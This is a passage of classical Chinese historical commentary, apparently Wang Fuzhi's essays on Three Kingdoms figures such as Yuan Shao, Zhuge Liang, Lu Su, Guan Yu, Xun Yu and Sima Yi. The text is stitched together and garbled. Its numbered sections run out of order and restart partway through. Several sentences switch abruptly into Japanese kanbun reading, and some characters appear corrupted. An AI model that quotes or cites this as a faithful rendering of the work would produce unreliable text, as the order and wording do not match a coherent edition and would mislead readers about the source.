張魯妖矣、而卒以免於死亡、非其德之堪也。聽閻圃之諫、拒群下之請、不稱漢寧王、衛身之智、足以保身、宜矣。嗚呼。亂世之王公、輕於平世之守令。亂世之將相、賤於平世之尉丞。顧影而自笑、夢覺而自驚、人指之而嗤其項背、鬼瞰之而奪其精魂、然而汲汲焉上下相蒙以相尊、愚矣哉。 84 陳嬰・周市之所弗為、張魯能弗為、張魯之所不為、而呂光・杜伏威・劉豫・明玉珍汲汲焉相尊以益其驕、駢首就戮而悔之無及、以死亡易一日之虛尊、且自矜也、人之愚未有如是之甚者也。 85 二三 86 袁紹之自言曰、「吾南據河、北阻燕・代、兼戎狄之眾、南向以爭天下」。起兵之初、其志早定、是以董卓死、長安大亂、中州鼎沸、而席冀州也自若、紹之亡決於此矣。 87 夫欲有事於天下者、莫患乎其有恃也。已恃之矣、謀臣將帥恃之矣、兵卒亦恃之矣、所恃者險也、而離乎險、則喪其恃而智力窮。坎之象曰、「王公設險以守其國」。險不可久據、而上六出乎險矣。智非所施、力非所便、徽纆之系、叢棘之置、非人困之矣。山國之人、出乎山而窮於原。澤國之人、離乎澤而窮於陸。失所恃而非所習、則如蝸牛之失其廬而死於蟻。故袁紹終其身未嘗敢跬步而涉河、非徒紹之不敢、其將帥士卒睨平原廣野川陸相錯、而目眩心熒、莫知所措也。 88 曹操曰、「任天下之智力、以道御之、無所不可」。在山而用山之智力、在澤而用澤之智力、己無固恃、人亦且無恃心、而無不可恃、此爭天下者之善術、而操猶未能也。西して赤壁に至り、東して懦須に至り、長江の浩瀁に臨みて氣 奪はる。則ち猶ほ山陸の材がごとく、而れども非無不可者也。何ぞや。操の天下の智力を任ずる所以は、術なり、道に非ざるなり。術とは、可なる所有り、可ならざる所有り。可者契合、而不可者弗能納、則天下之智力、其不為所用者多矣。其終彊而奪漢者、居四戰之地、恃智恃力、而無河山之可恃以生其驕怠也。\n89 然則諸葛勸先主據益州天府之國、亦恃險矣、而得以存、又何也。先主之時、豫・兗・雍・徐已全為操之所有、而荊・揚又孫氏三世之所綏定、舍益州而無託焉、非果以夔門・劍閣之險、肥沃鹽米之藪、為可恃而恃之也。李特睨劍閣而歎曰、「劉禪有此而不知自存」。夫特亦介晉之亂耳、使其非然、則亦趙韙・李順而已。董璋・王建皆乘亂也、豈三巴巖險之足以偷安兩世哉。 90 二四 91 荀悅・仲長統立言於紛亂之世、以測治理、皆矯末漢之失也、而統為愈。悅之言專以繩下、而操之巳亟、申・韓之術也、曹操終用之以成乎嚴迫之政、而國隨亡。統則專責之上、而戒慆淫以清政教之原、故曰統為愈也。 92 悅之言曰、「教化之廢、推中人而墜於小人之域、教化之行、引中人而納於君子之途」是也。顧其所云正俗者、聽言責事、舉名察實、則固防天下之胥為小人而督之也。故口申・韓之術也。統切切焉以犇私嗜・騁邪欲・宣淫固惡為戒、誠戒此矣、越軌改制之俗、上無與倡、而下惡淫蕩哉。漢之亡也、積順・桓・靈帝三君之不道、而天下相效以相怨、非法制督責之所可救、而悅河僅責之於末也。 93 雖然、統知懲當時之弊而歸責於君、亦不待深識而知其然者也。而推論存亡迭代、治亂周復、舉而歸之天道、則將使曹氏思篡之情、亦援天以自信而長其逆。故當紛亂之世、未易立言也。憤前事之失、矯之易偏。避當時之忌、徇之不覺。非超然自拔於危亂之廷、其言未有不失者也。悅為侍中矣、統為尚書郎矣、而且得有言乎哉。 94 二五 95 諸葛公之始告先主也、曰、「天下有變、命一上將將荊州之軍以向宛・雒、將軍身率益州之眾出於秦川」。其後先主命關羽出襄・樊而自入蜀、先主沒、公自出祁山以圖關中、其略定於此矣。是其所為謀者、皆資形勢以為制勝之略也。蜀漢之保有宗社者數十年在此、而卒不能與曹氏爭中原者亦在此矣。 96 以形勢言、出宛・雒者正兵也、出秦川者奇兵也、欲昭烈自率大眾出秦川、而命將向宛・雒、失輕重矣。關羽之覆於呂蒙、固意外之變也。然使無呂蒙之中撓、羽即前而與操相當、羽其能制操之死命乎。以制曹仁而有餘、以敵操而固不足矣。宛・雒之師挫、則秦川之氣枵、而惡能應天下之變乎。 97 乃公之言此也、以宛・雒為疑兵、使彼拒我於宛・雒、而乘間以取關中、此又用兵者偶然制勝之一策、聲東擊西、搖惑之以相牽制、乘倉猝相當之頃、一用之而得志耳。未可守此以為長策、規之於數年之前、而恃以行之於數年之後者也。敵一測之而事敗矣。謀天下之大、而僅恃一奇以求必得、其容可哉。善取天下者、規模定乎天全、而奇正因乎時勢。故曹操曰、「任天下之智力、以道馭之、無所不可」。操之所以自許為英雄、而公乃執一可以求必可、非操之敵矣。 98 且形勢者、不可恃者也。荊州之兵利於水、一踰楚塞出宛・雒而氣餒於平陸。益州之兵利於山、一踰劍閣出秦川而情搖於廣野。恃形勢、而形勢之外無恃焉、得則僅保其疆域、失則祗成乎坐困。以有恃而應無方、姜維之敗、所必然也。當先主飄零屢挫・托足無地之日、據益州以為資、可也。從此而書宛・雒・秦川之兩策、不可也。陳壽曰、「將略非其所長」。豈盡誣乎。 99 〖二六〗 100 身任天下之重、舍惇信而趨事會、君子之所賤、抑英雄之所恥也、功隳名辱而身以死亡、必矣。欲合孫氏於昭烈以共圖中原者、魯肅也。欲合昭烈於孫氏以共拒曹操者、諸葛孔明也。二子者守之終身而不易。子敬以借荊資先主、被仲謀之責而不辭。諸葛欲諫先主之東伐、難於盡諫、而歎法正之死。蓋吳則周瑜・呂蒙亂子敬之謀、蜀則關羽・張飛破諸葛之策、使相信之主未免相疑。然二子者、終守西弔劉表東乞援兵之片言、以為金石之固於心而不能自白、變故繁興之日、微二子而人道圮矣。 101 且以大計言之、周瑜・關羽競一時之利、或得或喪、而要適以益曹操之凶。魯・葛之謀、長慮遠顧、非瑜與羽徼利之淺圖所可測、久矣。兵之初起也、群雄互角、而操挾天子四面應之而皆碎。此無異故、呂布倏彼倏此而為眾所同嫉、袁術則與袁紹離矣、袁紹則與公孫瓚競矣、袁譚・袁尚則兄弟相讎殺矣、韓遂則與馬超相疑矣、劉表雖通袁紹、視紹之敗而不恤矣、皆自相滅以授曹氏之滅之也。今所僅存者孫・劉、而又相尋於干戈、其不內潰以折入於曹操也不能。則魯・葛定交合力以與操爭存亡、一時之大計無有出於此者。晉文合宋・齊以敗楚、樂毅結趙・魏以破齊、漢高連韓・彭・英布而摧項、已事之師、二子者籌之熟而執之固。瑜與羽交起而亂之、不亦悲乎。 102 二七 103 仲謀之聽子敬、不如其信瑜・蒙、先主之任孔明、而終不違關・張之客氣、天下之終歸於曹氏也、誰使之然也。 104 或曰、操漢賊也、權亦漢賊也、拒操而睦權、非義也。夫茍充類至盡以言義、則紛爭之世、無一人之不可誅矣。權逆未成、視操之握死獻帝於其掌中、則有間矣。韓信請王齊之日竇融操遲疑之志、亦奚必其皎皎忠貞如張睢陽・文信國而後可與共事。使覈其隱微以求冰霜之操、則昭烈不與孔北海同死、而北奔袁紹、抑豈以純忠至孝立大節者乎。 105 故孫・劉之不可不合、二子之見義為已審也。其信也、近於義而可終身守者也。先主沒、諸葛遽修好於吳、所惜者、肅先亡耳、不然、尚其有濟也。乃其無濟矣、二子之惇信、固以存人道於變故繁興之世者也。 106 二八 赤壁の戰は、操の必ず敗れ、瑜の必ず勝つ、一端に非ざるなり。騎を舍てて舟するは、既に長を棄てて短を爭ふなり。操の兵 眾く、眾ければ則ち驕る。瑜の兵 寡けく、寡ければ則ち奮ふ。故に韓信 以能多將自詫、而謂漢高之不己若也、此其一也。操乘破袁紹之勢以下荊・吳、操之破紹、非戰而勝也、固守以老紹之師而乘其敝也、以此施之於吳則左矣。吳憑江而守、矢石不及、舉全吳以饋一軍、而糧運於無慮之地、愈守則兵愈增・糧愈足、而人氣愈壯、欲老吳而先自老、又其一也。北來之軍二十萬、劉表新降之眾幾半之、而恃之以為水軍之用、新附之志不堅、而懷土思散以各歸其故地者近而易、表之眾又素未有遠征之志者也、重以戴先主之德、懷劉琦之恩、故黃蓋之火一爇而人皆駭散、荊土思歸之士先之矣、此又其一也。積此數敗、而瑜之明足以見之。即微火攻、持之數月、而操亦為官渡之紹矣。知此、而兵之所己、與敵之足畏與否也、皆可預料而定也。 108 二九 109 黃權・王累・嚴顏・劉巴之欲拒先主也、智在一曲而不可謂智、忠在一曲而不可謂忠。奚以明其然也。 110 張松曰、「曹公兵無敵於天下、因張魯以取蜀、誰能禦之」。諸欲拒先主者、曾有能保蜀而不為操所奪乎。亡有術也。鐘繇之兵已向張魯、危在旦夕、而璋以柔懦待之、奪於曹必矣。與其奪於曹、無如奪於先主、則四子者、料先主之必見奪以為智、知其一曲而不知其大全也、非智也。 111 四子之於劉焉、豢屬耳、非君臣也。焉雖受命作牧、而漢之危亡、風波百沸、焉勿問焉。割土自擅、志士之所不屑事者也。先主雖不保為漢室之忠輔、而猶勤勤於定亂、視焉而愈也多矣。戴非其主而怙之、相依為逆而失名義之大、非忠也。 112 然則張松・法正其賢乎。而愈非也。璋初迎昭烈、二子者遽欲於會襲之、忍矣哉。君子於此、勸璋以州授先主而保全之、則得矣、其他皆不忠不智之徒也。 113 三○ 114 論治者言得言失、古今所共也。而得不言其所自得、失不言其所自失、故牘滿冊府、而聽之者無能以取益。張紘將死、遺牋吳主曰、「人情憚難而趨易、好同而惡異、故與治道相反」。斯言抉得失之機於居心用情之際、聞之者而能悟焉、反求之寸心、而聽言用人立政之失焉者鮮矣。 115 夫人之情、不耽逸豫、天下無不可進之善。不喜諛悅、天下無不可納之忠。然而中人之於此、恆諱之也。樂逸豫矣、而曰圖難者之迂遠而無益也。喜諛悅矣、而曰責善者之失理而非法也。反諸其心而果然乎哉。偷安喜諛、一婦人孺子之愚、而遠大之猷去之。諱其偷安喜諛之情、則利害迫於身而不知避。其迹剛愎者、其情荏苒。急取其柔情而砭之於隱、然後振起其生人之氣。而圖治有本、非汎言得失者、令人迷其受病之源、而聽之若忘也。奮恥自強、而矯其情之所流、雖聖王之修身立政、又何以加焉。 116 三一 117 荀彧拒董昭九錫之議、為曹操所恨、飲藥而卒、司馬溫公許之以忠、過矣。乃論者譏其為操謀篡、而以正論自詭、又豈持平之論哉。彧之智、算無遺策、而其知操也、尤習之已熟而深悉之。違其九錫之議、必為操所不容矣、姑托於正論以自解、冒虛名、蹈實禍、智者不為、愚者亦不為也、而彧何若是。夫九錫之議興、而劉氏之宗社已淪。當斯時也、茍非良心之牿亡已盡者、未有不惻然者也。彧亦天良之未泯、發之不禁耳、故雖知死亡之在眉睫、而不能自已。於此亦可以征人性之善、雖牿亡而不喪、如之何深求而重抑之。 118 彧之失、在委身於操而多為之謀耳。雖然、初起而即委身於操、與華歆・王朗之為漢臣而改面戴操者、抑有異矣。楊彪世為公輔、而不能亡身以憂國。邴原以名節自命、而不能辭召以潔身。蜀漢之臣、惟武侯不可苛求焉、其他則皆幸先主為劉氏之胤、而非其果能與漢存亡者也。然則彧所愧者管寧耳。當紛紜之世、舍寧而無以自全、乃彧固以才智見、而非寧之流亞久矣。季路・冉有、聚斂則從、伐顓臾則為之謀、旅泰山則不救、而子曰、「弒父與君、亦不從也。一至於大惡當前、而後天良之存者不昧、禍未成而荏苒以為之謀、聖人且信其不與於篡弒、善惡固有不相掩矣。 119 且彧之為操謀也、莫著於滅袁紹。紹之為漢賊也、不下於操、為操謀紹、猶為紹而謀操也。漢之賊、滅其一而未嘗不快、則彧為操謀、功與罪正相埒矣。若其稱霸王之圖以歆操、則懷才亟見、恐非是而不為操所用也、則彧之為操謀也、亦未可深辠也。試平情以論之、則彧者、操之謀臣也、操之謀臣、至於篡逆而心怵焉其不寧、左掣右曳以亡其身、其天良之不昧者也。並此而以為詭焉、則誣矣。 120 三二 121 春秋之法、諸侯失國則名之、賤之也。失國而又降焉、賤甚矣。此三代封建之侯國則然、受之先王、傳之先祖、天子且不得而輕滅焉、為臣子者、有死而無降、義存焉耳。劉焉之牧益州、漢命之。命之以牧、未嘗命之以世。焉死、璋偷立乎其位、益州豈焉所可傳子、而璋有宗社之責哉。 122 先主圍成都、璋曰、「父子在州二十餘年、無恩德以加百姓、攻戰三年、肌膏草野、以璋故也、何心能安」。猶長者之言也。論者曰、「劉璋暗弱」。弱者弱於強爭、暗者暗於變詐、而豈果昏孱之甚乎。其不斷者、不能早授州於先主、而多此戰爭耳。韓馥之於袁紹、璋之於先主、自知不逮而引退以避之、皆可謂保身之智矣。其屬吏悻悻以爭氣矜之雄、以毒天下、何足尚哉。 123 三三 124 吳・蜀之好不終、關羽以死、荊州以失、曹操以乘二國之離、無忌而急於篡、關羽安能逃其責哉。羽守江陵、數與魯肅生疑貳、於是而諸葛之志不宣、而肅亦苦矣。肅以歡好撫羽、豈私羽而畏昭烈乎。其欲並力以抗操、匪舌是出、而羽不諒、故以知肅心之獨苦也。 125 羽爭三郡、貪忿之兵也、肅猶與相見、而秉義以正告之、羽無辭以答、而婞婞不忘、豈盡不知肅之志氣與其苦心乎。昭烈之敗於長阪、羽軍獨全、曹操臨江、不能以一矢相加遺。而諸葛公東使、魯肅西結、遂定兩國之交、資孫氏以破曹、羽不能有功、而功出於亮。劉錡曰、「朝廷養兵三十年、而大功出一儒生」。羽於是以忌諸葛者忌肅、因之忌吳。而葛・魯之成謀、遂為之滅裂而不可復收。 126 然而肅之心未遽忿羽而墮其始志也、以義折羽、以從容平孫權之怒、尚冀吳・蜀之可合、而與諸葛相孚以制操耳。身遽死而授之呂蒙、權之忮無與平之、羽之忿無與制之、諸葛不能力爭之隱、無與體之、而成謀盡毀矣。肅之死也、羽之敗也。操之幸、先主之孤也。悲夫。 127 三四 128 金禕・耿紀・韋晃欲挾天子伐魏、使其克焉、足以存漢乎。不能也。幸而不敗、又幸而殺操、爾朱兆之死、拓拔氏乃以奔竄而見奪於宇文、非但如董卓之誅、獻帝一日不能安於長安巳也。故董承之計非計、而伏完為甚、至於金禕而尤甚矣。雖然、至於金禕・耿紀・韋晃之時、更無可以全漢之策、而忠臣志士捐三族以與國俱碎、雖必不成、義憤之不容已、亦烈矣哉。 129 於是而孫權之罪不容誅也、懷憤嫉於先主、而請降於操、操無忌矣。關羽出襄・鄧、向宛・雒、而懷忿以與孫氏爭、操知之而坐待其敗。普天之下、為漢臣者、唯三子之不恤死而誓與獻帝俱殉社稷耳、其他皆貪忿以逞者。忠臣志士無可俟之機、而又何擇焉。 130 〖三五〗 131 關羽、可用之材也、失其可用而卒至於敗亡、昭烈之驕之也、私之也、非將將之道也。故韓信之稱高帝曰、「陛下能將將」。能將將而取天下有餘矣。先主之入蜀也、率武侯・張・趙以行、而留羽守江陵、以羽之可信而有勇。夫與吳在離合之間、而恃篤信乎我以矜勇者、可使居二國之間乎。定孫・劉之交者武侯也、有事於曹、而不得復開釁於吳。為先主計、莫如留武侯率雲與飛以守江陵、而北攻襄・鄧。取蜀之事、先主以自任有餘、而不必武侯也。然而終用羽者、以同起之恩私、矜其勇而見可任、而不知其忮吳怒吳、激孫權之降操、而魯肅之計不伸也。 132 然則先主豈特不能將羽哉。且信武侯而終無能用也。疑武侯之交固於吳、而不足以快己之志也。故高帝自言能用子房者、以曹參之故舊百戰之功、而帷幄之籌、唯子房得與焉。不私其舊、不驕其勇、韓・彭且折、況參輩乎。先主之信武侯也、不如其信羽、明矣。諸葛子瑜奉使而不敢盡兄弟之私、臨崩而有「君自取之」之言、是有武侯而不能用、徒以信羽者驕羽、而遂絕問罪曹氏之津、失豈在羽哉。先主自貽之矣。\n國之亡、有自以亡也、至於亡、而所自亡之失昭然眾見之矣。後起者、因鑒之・懲之、而立法以弭之。然所戒在此、而所失在彼、前之覆轍雖不復蹈、要不足以自存。漢亡於宦官外戚之交橫、曹氏初立、即制宦者官不得過諸署令、黃初三年、又制后家不得輔政、皆鑒漢所自亡而懲之也。然不再世、而國又奪於權臣。立國無深仁厚澤之基、而豫教不修、子孫昏暴、撲火於原、而燄發於烓竃、雖厚戒之無救也。\n3 自其亡而言之、漢之亡也、中絕復興、暴君相繼、久而後失之。魏之亡也不五世、無桀・紂之主而速滅。以國祚計之、漢為永矣。乃自順帝以後、數十年間、毒流天下、賢士駢首以就死、窮民空國以胥溺、盜賊接跡而蔓延。魏之亡也、禍不加於士、毒不流於民、盜不騁於郊。以民生計之、魏之民為幸矣。故嚴椒房之禁、削掃除之權、國即亡而害及士民者淺、仁人之澤、不易之良法也。\n4 乃昏主則曰、外戚宦官、內侍禁闥、未嘗與民相接、惡從而朘削之。且其侈靡不節、間行小惠、以下施於貧乏、何至激而為盜。其剝民以致盜者、士大夫之貪暴為之也。夫惡知監司守令之毒民有所自哉。紈褲之子、刑餘之人、知諛而已、知賄而已。非諛弗官也、非賄弗諛也、非剝民之膚弗賄也、則毒流四海、填委溝壑、而困窮之民無所控告。猶栩栩然曰、吾未嘗有損於民、士大夫吮之以為利、而嫁禍於我以為名。相激相詆、挾上以誅逐清流、而天下箝口結舌、視其敗而無敢言。漢・唐・宋之浸敗而浸亡、皆此繇也。其能禁此矣、則雖有奪攘之禍、而民不被其災。故司馬篡曹、潛移於上而天下不知。勿曰防之於此、失之於彼、魏之立法無裨於敗亡也。\n5 二\n6 魏從陳群之議、置州郡中正、以九品進退人才、行之百年、至隋而始易、其於選舉之道、所失亦多矣。人之得以其姓名與於中正之品藻者鮮也、非名譽弗聞也、非華族弗與延譽也。故晉宋以後、雖有英才勤勞於國、而非華族之有名譽者、謂之寒人、不得與於薦紳之選。其於公天爵於天下、而獎斯人以同善之道、殊相背戾、而帝王公天下之心泯矣。\n7 然且行之六代而未嘗不收人才之用、則抑有道焉。人之皆可為善者、性也。其有必不可使為善者、習也。習之於人大矣、耳限於所聞、則奪其天聰。目限於所見、則奪其天明。父兄熏之於能言能動之始、鄉黨姻亞導之於知好知惡之年、一移其耳目心思、而泰山不見、雷霆不聞。非不欲見與聞也、投以所未見未聞、則驚為不可至、而忽為不足容心也。故曰、「習與性成」。成性而嚴師益友不能勸勉、醲賞重罰不能匡正矣。\n8 是以古之為法、士之子恆為士、農之子恆為農、非絕農人之子於天性之外也、雖欲引之於善、而曀霾久蔽、不信上之有日、且必以白晝秉燭為取明之具、聖人亦無如此習焉何也。故曰、「民可使由之、不可使知之」。不可使知矣、欲滌除而拂拭之、違人之習、殆於拂人之性、而惡能哉。則靳取之華胄之子・清流之士・以品隲而進退之、亦未甚為過也。父母者、乾坤也、即以命人之性者也。師友交游者、臭味也、即以發人之情者也。見聞行習者、造化也、即以移人之氣體者也。知此、則於是以求材焉、有所溢、有所漏、然而鮮矣。\n9 唐之舉進士也、不以一日之詩賦、而以名望之吹噓、雖改九品中正之制、猶其遺意焉。宋以後、糊名易書、以求之於聲寂影絕之內、而此意殆絕。然而學校之造士也夙、而倡優隸卒之子弟必禁錮之、則固天之所限、而人莫能或亂者。伊尹之耕、傅說之築、膠鬲之賈、託以隱耳。豈草野倨侮・市井錐刀之中、德色父而詬誶母者、有令人哉。\n10 三\n11 以先主紹漢而系之正統者、為漢惜也。存高帝誅暴秦・光武討逆莽之功德、君臨已久、而不忍其亡也。若先主、則惡足以當此哉。\n12 光武之始起也、即正討莽之義、而誓死以挫王邑・王尋百萬之眾於昆陽、及更始之必不可為君而後自立、正大而無慚於祖考也。而先主異是。其始起也、依公孫瓚・依陶謙、以與人爭戰、既不與於誅卓之謀。抑未嘗念袁紹・曹操之且篡、而思撲之以存劉氏。董承受衣帶之詔、奉之起兵、乃分荊得益而忘之矣。曹操王魏、己亦王漢中矣。曹丕稱帝、己亦帝矣。獻帝未死而發其喪、蓋亦利曹丕之弒而己可為名矣。費詩陳大義以諫而左遷矣。是豈誓不與賊俱生而力為高帝爭血食者哉。\n13 承統以後、為人子孫、則亡吾國者、吾不共戴天之讎也。以苻登之孤弱、猶足以一逞、而先主無一矢之加於曹氏。即位三月、急舉伐吳之師、孫權一驃騎將軍荊州牧耳、未敢代漢以王、而急修關羽之怨、淫兵以逞、豈祖宗百世之讎、不敵一將之私忿乎。先主之志見矣、乘時以自王而已矣。\n14 故為漢而存先主者、史氏之厚也。若先主、則固不可以當此也。羿篡四十載而夏復興、莽篡十五年而漢復續、先主而能枕戈寢塊以與曹丕爭生死、統雖中絕、其又何傷。尸大號於一隅、既殂而後諸葛有祁山之舉、非先主之能急此也。司馬溫公曰、「不能紀其世數」。非也。世數雖足以紀、先主其能為漢帝之子孫乎。\n15 四\n16 談君臣之交者、競曰先主之於諸葛。伐吳之舉、諸葛公曰、「孝直若在、必能制主上東行」。公之志能盡行於先主乎。悲哉。公之大節苦心、不見諒於當時、而徒以志決身殲遺恨終古、宗澤詠杜甫之詩而悲惋以死、有以也夫。\n17 公之心、必欲存漢者也、必欲滅曹者也。不交吳、則內掣於吳而北伐不振。此心也、獨子敬知之耳。孫權尚可相諒、而先主之志異也。夫先主亦始欲自疆終欲自王、雄心不戢、與關羽相得耳。故其信公也、不如信羽、而且不如孫權之信子瑜也。疑公交吳之深、而並疑其與子瑜之合。使公果與子瑜合而有裨於漢之社稷、固可勿疑也、而況其用吳之深心、勿容妄揣也哉。先主不死、吳禍不息、祁山之軍不得而出也。迨猇亭敗矣、先主殂矣、國之精銳盡於夷陵、老將如趙雲與公志合者亡矣。公收疲敝之餘民、承愚暗之沖主、以向北方、而事無可為矣。公故曰、「鞠躬盡瘁、死而後已」。唯忘身以遂志、而成敗固不能自必也。\n18 向令先主以篤信羽者信公、聽趙雲之言、輟東征之駕、乘曹丕初篡・人心未固之時、連吳好以問中原、力尚全、氣尚銳、雖漢運已衰、何至使英雄之血不灑於許・雒、而徒流於猇亭乎。公曰、「漢・賊不兩立」。悲哉其言之也。若先主、則固非有宗社存亡之戚也、強之哭者不涕、公其如先主何哉。\n19 張良遇高帝而志伸、宗澤遇高宗而志沮。公也、子房也、汝霖也、懷深情而不易以告人、一也、而成敗異。公懷心而不能言、誠千秋之遺憾與。\n20 五\n21 楊顒之諫諸葛公曰、「為治有體、上下不可相侵」。大哉言矣。公謝之、其沒也哀之、而不能從、亦必有故矣。公之言曰、「寧靜可以致遠」。則非好為煩苛以競長而自敝者也。\n22 先主之初微矣、雖有英雄之姿、而無袁・曹之權藉、屢挫屢奔、而客處於荊州、望不隆而士之歸之也寡。及其分荊據益、曹氏之勢已盛、曹操又能用人而盡其才、人爭歸之、蜀所得收羅以為己用者、江・湘・巴・蜀之士耳。楚之士輕、蜀之士躁、雖若費褘・蔣琬之譽動當時、而能如鐘繇・杜畿・崔琰・陳群・高柔・賈逵・陳矯者、亡有也。軍不治而唯公治之、民不理而唯公理之、政不平而唯公平之、財不足而唯公足之。任李嚴而嚴亂其紀、任馬謖而謖敗其功。公不得已、而察察於纖微、以為訏謨大猷之累、豈得已乎。\n23 夫大有為於天下者、必下有人而上有君。而公之託身先主也、非信先主之可為少康・光武也、恥與荀彧・郭嘉見役於曹氏、以先主方授衣帶之詔、義所可從而依之也。上非再造之君、下無分猷之士、孤行其志焉耳。向令龐統・法正不即於溘亡、徐庶・崔州平未成乖散、先主推心置腹、使關羽之傲・李嚴之險、無得間焉、領袖群才、各效其用、公亦何用此營營為也。公之泣楊顒也、蓋自悼也。\n24 六\n25 漢・魏・吳之各自帝也、在三年之中、蓋天下之稱兵者已盡、而三國相爭之氣已衰也。曹操知其子之不能混一天下、丕亦自知一篡漢而父子之鋒鋩盡矣。先主固念曹氏之不可搖、而退息乎巖險。孫權觀望曹・劉之勝敗、既知其情之各自帝、而息相吞之心、交不足懼、則亦何弗擁江東以自帝邪。權所難者、先主之扼其肘腋耳。先主殂於永安、權乃拒魏而自尊、樂得鄧芝通好以安處於江東。繇此觀之、此三君者、皆非有好戰樂殺之情、而所求未得、所處未安、弗獲已而相為捍格也。\n26 曹氏之戰亟矣、處中原而挾其主、其敵多、其安危之勢迫、故孫氏之降、知其非誠而受之。敵且盡、勢且安、甘苦自知、而殺戮為慘。亦深念之矣。孫氏 則ち赤壁の外に大戰無きなり。先主 則ち蜀を收めて荊を爭ひて姑く且に息む。是を以て三君は、猶ほ之を後裔に傳ふ可く、而して公孫・袁・呂と與に同に其の血胤を殄せず。上天の大命 有德に集ひ、其の德無しと雖も、而れども抑く殺を樂しむの心無くんば、則ち亦た之を予りて以て安全せしむ。天地の心、仁を以て復と為す、豈に信ぜざるか。\n丕の逆するや、權の狡なるや、先主の愎なるや、皆 保固して爾後に天罰を降さず、以其知止而能息民也。逆與狡、違道甚矣、而惟愎尤甚。先主甫即位而興伐吳之師、毒民以逞、傷天地之心、故以漢之宗支而不敵篡逆之二國。先主殂、武侯秉政、務農殖穀、釋吳怨以息民、然後天下粗安。蜀漢之祚、武侯延之也、非先主之所克勝也。 28 七 29 蜀漢之義正、魏之勢強、吳介其間、皆不敵也、而角立不相下、吳有人焉、足與諸葛頡頏、魏得上雖多、無有及之者也。立國之始、宰相為安危之大司、而吳之舍張昭而用顧雍、雍者、允為天子之大臣者也、屈於時而相偏安之國爾。 30 曹氏始用崔琰・毛玠、以操切治臣民、而法粗立。王道息、申・韓進、人心不固、而國祚不長、有自來也。諸葛之相先主也、淡泊寧靜、尚矣。而與先主皆染申・韓之習、則且與曹氏德齊而莫能相尚。代以下之材、求有如顧雍者鮮矣。寡言慎動、用人惟其能而無適莫。恤民之利病、密言於上而不衒其恩威。黜小利小功、罷邊將便宜之策、以圖其遠大。有曹參之簡靖而不弛其度、有宋璟之靜正而不燿其廉。求其德之相若者、曠世而下、唯李沆為近之、而雍以處兵爭之世、事雄猜之主、雍為愈矣。故曰、允為天子之大臣也。 31 雍既秉國、陸遜益濟之以寬仁、自漢末以來、數十年無屠掠之慘、抑無苛繁之政、生養休息、唯江東也獨。惜乎吳無漢之正・魏之疆、而終於一隅耳。不然、以平定天下而有餘矣。 32 八 33 魏之亡、自曹丕遺詔命司馬懿輔政始。懿之初起為文學掾、豈夙有奪魏之心哉。魏無人、延懿而授之耳。懿之視操、弗能若也。操之威力、割二袁・俘呂布・下劉表・北埽烏桓、而懿無其功。操迎天子於危亂之中、復立漢之社稷、而懿無其名。魏有人、懿不能奪也。 34 魏之無人、曹丕自失之也。而非但丕之失也、丕之詔曹真・陳群與懿同輔政者、甚無謂也。子叡已長、群下想望其風采、大臣各守其職司、而何用輔政者為。其命群與懿也、以防曹真而相禁制也。然則雖非曹爽之狂愚、真亦不能為魏藩衛久矣。以群・懿防真、合真與懿・群而防者、曹植兄弟也。故魏之亡、亡於孟德偏愛植而植思奪適之日。兄弟相猜、拱手以授之他人、非一旦一夕之故矣。 35 漢高意移於趙王、唐高情貳於建成、宋祖受母命而亂與子之法、開國之初所恆有也。而曹氏獨以貽覆宗之禍。天不佑僭人、而使並峙於時以生猜制、天之道也。藉其不然、釁雖開於骨肉、必不假秉政握兵之異姓、持權以箝束懿親。漢・唐・宋爭於室而姦邪不興於外、豈有患哉。魏之自取滅亡、天邪。人邪。人之不臧者、天也。 36 九 37 兩敵相持、而有起兵於腹里者以遙相應、見為可恃、恃以夾攻內應者必敗。勿問其為義也・為賊也、皆不可恃以冒進者也。其為義也、忠臣志士、孤憤蹶起、而成敗非其所謀、且其果懷忠憤者、一二人耳、其他皆徼利無恆、相聚而不相攝者也。若其為賊也、則妄人非分之圖、假我以惑眾而亡實者耳、如之何其恃邪。 38 彭綺、亂人也、借為魏討吳以為名、而實賊也。其心恃我之援、而己歘然而興、虐民罔利、而欲恃以為應援、彼敗而我之鋒亦挫矣。彼可恃也、奚用我為。彼不可恃矣、而抑安能為我之恃乎。侯景不足以難魏、適以亡梁、擁大眾・扼爭地者且然、況烏合之一旅哉。岳侯恃兩河忠義以伐金、使無金牌之撤、亦莫保其不與俱潰也。孫資諫曹叡之應彭綺、明於料敵矣。 39 一○ 40 諸葛公出師北伐、表上後主、以親賢遠小人為戒、一篇之中、三致意焉。後主失國之繇、早見於數十年之前、公於此無可如何、而唯以死謝寸心耳。 41 賢臣之進、大臣之責也、非徒以言、而必有進之之實。公於郭攸之・費褘・董允・向寵亦既進之無遺力矣。然能進而不能必庸主之親之。庸主見賢而目欲垂、猶賢主見小人而喉欲噦也、無可如何也。雖然、尚可使之在列也。至於小人之親、而愈無可如何矣。卑其秩、削其權、不得有為焉止矣。愈抑之、庸主愈狎之。愈禁之、庸主愈私之。斂迹於禮法之下、而噂沓於帷帟之中。庸主曰、此不容於執政、而固可哀矜者也。綢繆不舍、信其無疵可摘、而蠱毒潛中於肸鄉之微。嗚呼。其將如之何哉。 42 故賢臣不能使親而猶可進、小人可使弗進而不能使弗親。非有伊尹放桐非常之舉、周公且困於流言、況當篡奪相仍之世、而先主抑有「君自取之」之亂命、形格勢禁、公其如小人何哉。歷舉興亡之繇、著其大端而已。何者為小人、不能如郭・費・董・向之歷指其人而無諱也。指其名而不得、而況能制之使勿親哉。以一死謝寸心於未死之間、姑無決裂焉足矣。公之遺憾、豈徒在漢・賊之兩立也乎。 43 一一 44 曹孟德推心以待智謀之士、而士之長於略者、相踵而興。孟德智有所窮、則荀彧・郭嘉・荀攸・高柔之徒左右之、以算無遺策。迨於子桓之世、賈詡・辛毗・劉嘩・孫資皆坐照千里之外、而持之也定。故以子桓之鄙・睿之汰、抗仲謀・孔明之智勇、而克保其磐固。 45 孔明之北伐也、屢出而無功、以為司馬懿之力能拒之、而早決大計於一言者、則孫資也。漢兵初出、三輔震驚、大發兵以迎擊於漢中、庸詎非應敵之道。乃使其果然、而魏事去矣。漢以初出之全力、求敵以戰、其氣銳。魏空關中之守、即險以爭、其勢危。皆敗道也。一敗潰而漢乘之、長安不守、漢且出關以搗宛・雒、是帝破項之故轍也、魏惡得而不危。資籌之審矣、即見兵據要害、敵即盛而險不可踰、據秦川沃野之粟、坐食而制之、雖孔明之志銳而謀深、無如此漠然不應者何也。資片言定之於前、而拒諸葛・挫姜維、收傚於數十年之後、司馬懿終始所守者此謀也。 46 